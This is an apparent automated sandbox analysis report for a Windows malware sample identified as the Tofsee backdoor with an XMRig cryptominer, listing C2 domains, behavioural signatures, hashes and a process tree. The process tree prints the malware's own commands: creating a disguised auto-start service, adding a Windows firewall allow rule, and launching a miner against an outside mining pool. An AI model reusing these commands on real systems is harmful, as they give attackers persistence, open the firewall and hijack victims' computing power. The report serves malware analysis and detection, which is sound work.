Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/11/2022, 22:26

General

  • Target
    file.exe
  • Size 233KB
  • Sample221114-2chg8adh92
  • SHA256 4746864cd97bcb06d1e06dd9b446479d534d4cd723fca36955a63d17c845cc6d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eaiyctku\
      2⤵
        PID:2108
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\knwhhdda.exe" C:\Windows\SysWOW64\eaiyctku\
        2⤵
          PID:3196
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eaiyctku binPath= "C:\Windows\SysWOW64\eaiyctku\knwhhdda.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eaiyctku "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eaiyctku
          2⤵
          • Launches sc.exe
          PID:4008
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3912 -s 788
          2⤵
          • Program crash
          PID:2660
      • C:\Windows\SysWOW64\eaiyctku\knwhhdda.exe
        C:\Windows\SysWOW64\eaiyctku\knwhhdda.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:308
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4004
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 308 -s 284
          2⤵
          • Program crash
          PID:3944
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3912 -ip 3912
        1⤵
          PID:3468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 308 -ip 308
          1⤵
            PID:4648

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                knwhhdda.exe

                • Path C:\Users\Admin\AppData\Local\Temp\knwhhdda.exe
                • Size 14.4MB
                • SHA256 6ea8d1ef33488371409976430d8b40986522f4546ae57003abd397a98d7c2390
                • MD5 SHA1 SHA512 SSDEEP

                knwhhdda.exe

                • Path C:\Windows\SysWOW64\eaiyctku\knwhhdda.exe
                • Size 14.4MB
                • SHA256 6ea8d1ef33488371409976430d8b40986522f4546ae57003abd397a98d7c2390
                • MD5 SHA1 SHA512 SSDEEP

                memory/308-149-0x0000000000909000-0x000000000091F000-memory.dmp

                memory/308-150-0x0000000000400000-0x000000000083D000-memory.dmp

                memory/3912-144-0x0000000000400000-0x000000000083D000-memory.dmp

                memory/3912-143-0x000000000088D000-0x00000000008A3000-memory.dmp

                memory/3912-135-0x0000000000400000-0x000000000083D000-memory.dmp

                memory/3912-132-0x000000000088D000-0x00000000008A3000-memory.dmp

                memory/3912-133-0x0000000000970000-0x0000000000983000-memory.dmp

                memory/4004-177-0x00000000006A0000-0x0000000000791000-memory.dmp

                memory/4004-172-0x00000000006A0000-0x0000000000791000-memory.dmp

                memory/4120-146-0x0000000000990000-0x00000000009A5000-memory.dmp

                memory/4120-151-0x0000000000990000-0x00000000009A5000-memory.dmp

                memory/4120-152-0x0000000000990000-0x00000000009A5000-memory.dmp

                memory/4120-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4120-156-0x0000000002A10000-0x0000000002A16000-memory.dmp

                memory/4120-159-0x0000000002A20000-0x0000000002A30000-memory.dmp

                memory/4120-162-0x0000000002BF0000-0x0000000002BF5000-memory.dmp

                memory/4120-165-0x0000000007700000-0x0000000007B0B000-memory.dmp

                memory/4120-168-0x0000000007C50000-0x0000000007C57000-memory.dmp